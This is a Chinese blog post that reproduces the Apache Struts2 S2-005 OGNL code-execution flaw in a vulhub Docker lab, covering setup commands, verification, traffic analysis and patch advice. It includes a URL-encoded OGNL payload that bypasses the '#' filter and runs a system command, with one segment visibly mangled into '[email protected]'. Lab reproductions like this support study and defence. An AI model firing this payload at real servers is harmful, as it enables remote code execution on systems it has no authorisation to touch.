Apache Struts2漏洞复现之s2-005漏洞复现

0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。

        缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

0x03 漏洞概述:

        s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。

0x04 影响版本:

        Struts 2.0.0 - Struts 2.1.8.1

0x05 环境搭建:

Docker环境搭建:

        参考这篇文章(https://blog.csdn.net/qq_44281295/article/details/126573488)

漏洞环境搭建:

下载vulhub

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

启动项目

进入s2-005目录

cd /root/vulhub/struts2/s2-005/

Apache Struts2漏洞复现之s2-005漏洞复现_第1张图片

执行:docker-compose up -d

Apache Struts2漏洞复现之s2-005漏洞复现_第2张图片

访问页面:

http://192.168.80.130:8080

Apache Struts2漏洞复现之s2-005漏洞复现_第3张图片 

0x06 漏洞复现:

手动利用:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

Apache Struts2漏洞复现之s2-005漏洞复现_第4张图片

进入docker查看文件:

执行docker ps 查看容器信息

执行 docker exec -it a80c /bin/bash

成功写入success的文件

Apache Struts2漏洞复现之s2-005漏洞复现_第5张图片

工具利用:

(工具出自ABC大佬,公众号:希潭实验室)

Apache Struts2漏洞复现之s2-005漏洞复现_第6张图片

Apache Struts2漏洞复现之s2-005漏洞复现_第7张图片

0x07 流量分析:

手动利用流量:

Apache Struts2漏洞复现之s2-005漏洞复现_第8张图片

Apache Struts2漏洞复现之s2-005漏洞复现_第9张图片

工具利用流量:

Apache Struts2漏洞复现之s2-005漏洞复现_第10张图片Apache Struts2漏洞复现之s2-005漏洞复现_第11张图片

0x08 修复建议:

        参照官网更新 Struts 版本。

你可能感兴趣的:(Apache,Struts2漏洞复现,apache,struts,java)